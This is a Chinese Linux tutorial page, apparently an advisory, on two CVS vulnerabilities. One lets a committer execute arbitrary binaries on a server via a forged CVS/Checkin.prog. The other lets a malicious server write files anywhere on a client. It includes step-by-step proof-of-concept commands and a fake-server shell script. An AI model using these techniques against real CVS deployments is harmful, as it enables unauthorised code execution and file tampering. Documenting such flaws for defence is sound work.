当前位置:Linux教程 - Linux - UNIX CVS 服务器的漏洞

UNIX CVS 服务器的漏洞

内容:

CVS包括两个新的安全漏洞,一个允许任意的代码的执行,而另一个在操作系统上任何地方允许文件的生成。前者是客户端在CVS服务器上开始的攻击,而后者是对CVS客户端的攻击。

<1>committer能在使用CVS/Checkin.prog或CVS/Update.prog的服务器里执行任何的二进制代码。

committer能在在使用Checkin.prog的CVS服务器上实行任意的二进制。通常,当工作目录被检查的时候,目录里的CVS/Checkin.prog从CVSROOT/modules被复制并提交给服务器非法执行。注意当它被执行的时候,被提交的文件还留在当前目录中这一点。因为工作目录能被有适当权限的非法用户修改。Checkin.prog可以被修改,或者更可以被删除后重新创建,并且,CVS服务器将执行这伪造的Checkin.prog。注意非法用户能通过``cvs add -kb''和``cvs commit''的方式创建任意的二进制文件。这样,攻击者能通过``cvs commit''的方式激活Checkin.prog从而轻易的执行已被预编译的二进制代码。注意用CVS/Update.prog存在类似的问题这一点。下面的例子就是一个非法用户提交给服务器``ls``二进制代码并让其执行的过程(假定服务器和客户端具有相同的体系结构)。

% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file ``binary'' for addition
cvs server: use ''cvs commit'' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m ''test''
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v <-- binary
initial revision: 1.1
done
cvs server: Executing ''''./binary'' ''/tmp/cvs/somemodule''''
# cvs.lock
# ,b>cvs.wfl.serein.m17n.org.14330
binary,v

<2>CVS服务器能被命令在客户端机器上任何位置创建任何文件。

根据CVS协议,客户端的读写路径是由服务器处理生成,并且客户端完全信任服务器提供的路径。例如:假设客户端试图检查``tst``模块:

% cvs -f -d :ext:user@server:/cvsroot co tst

并且,服务器包括象下面这样危险的响应在内:

Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
The client creates /tmp/foo.

下述内容是一个这样攻击的例子,尽管这个例子使用扩充文件系统ext使服务器运行伪造的CVS.方法,任何针对这个漏洞的方法都可以(当然包括PSERVER).

% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh
cat <<''End'' Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
-rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo